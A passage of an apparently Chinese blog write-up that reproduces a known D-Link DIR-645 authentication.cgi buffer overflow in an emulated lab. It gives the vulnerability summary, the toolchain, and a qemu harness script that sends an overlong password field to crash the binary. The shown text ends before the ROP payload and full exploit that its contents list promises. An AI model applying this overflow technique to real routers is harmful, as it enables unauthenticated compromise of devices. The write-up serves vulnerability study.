![a576ad35bb08bfce39607742d188b74e.png](https://i-blog.csdnimg.cn/blog_migrate/124e7c7e885fda6c7c82619011d3eeaa.jpeg)
目录
01-漏洞描述
02-环境/工具
03-漏洞分析
04-漏洞利用
4.1-选择攻击途径
4.2-确定偏移
4.3-构造payload
4.4-完整exp
05-漏洞测试
06-参考
01-漏洞描述 https://www.exploit-db.com/exploits/33862This module exploits an remote buffer overflow vulnerability on several D-Link routers.The vulnerability exists in the handling of HTTP queries to the authentication.cgi with long password values. The vulnerability can be exploitable without authentication.This module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
关键点:溢出漏洞、http请求、password字段、authentication.cgi 02-环境/工具
Ubuntu 18.04:目标系统,运行路由器固件 Windows 7 专业版:运行IDA作为远程调试机 IDA Pro:静态分析、远程动态调试 mips rop finder插件:搜索可用rop binwalk:提取固件中的文件系统 firmadyne工具包:模拟路由器执行 固件下载: ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP 《路由器0Day漏洞》一书中脚本 :run_cgi.sh(poc)、patterLocOffset.py(确定偏移)、DIR645-f-V1.03.py(exp) 03-漏洞分析
1、用binwalk将固件中的文件系统提取出来,cd到squashfs目录,寻找存在漏洞的目标文件authentication.cgi,得知其是一个符号链接,真正的目标文件是cgibin。
![82a106ada1e62afd5cde3b9f98f9e2b2.png](https://i-blog.csdnimg.cn/blog_migrate/0e26563ace29a3fea6c62e2031080d23.jpeg)
#!/bin/bash# 待执行命令# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G" INPUT="$1" # 参数1,uid=A21G&password=1160个ATEST="$2" # 参数2,uid=A21GLEN=$(echo -n "$INPUT" | wc -c) # 参数1的长度PORT="1234" # 监听的调试端口 # 用法错误则提示if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]then echo -e "\nUsage: sudo $0 \n" exit 1fi # 复制qemu-mipsel-static到本目录并重命名,注意是static版本cp $(which qemu-mipsel-static) ./qemuecho $TEST# | 管道符:前者输出作为后者输入# chroot 将某目录设置为根目录(逻辑上的)echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/authentication.cgiecho 'run ok'rm -f ./qemu # 删除拷贝过来的执行文件
3、书中原有的poc运行失败
去掉2>/dev/null,使其显示报错信息(2-标准报错信息
chroot: failed to run command ‘./qemu’: No such file or directory
https://blog.csdn.net/xieqianhua55/article/details/50749489
apt安装qemu-user-static,将cp中qemu-mipsel改为qemu-mipsel-static
应该是因为chroot后,路径都变了,qemu的执行缺少依赖,改为静态即可
sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G"
5、Windows 7 中IDA打开cgibin,开启远程调试:
![6aff51b31ebd7470a6f7395a8a2fa5ef.png](https://i-blog.csdnimg.cn/blog_migrate/a32faa09e0ef8a0f3c2f7355ed9df05c.jpeg)
![e98df84d6d525c43f9c65b85e90c4db5.png](https://i-blog.csdnimg.cn/blog_migrate/2caa1a0963d9e6916968fa91ad53a57f.jpeg)
![3737b029dd364c07e21a62c00163f238.png](https://i-blog.csdnimg.cn/blog_migrate/ebc15315eeb9c8dfad744ead30fa8e08.jpeg)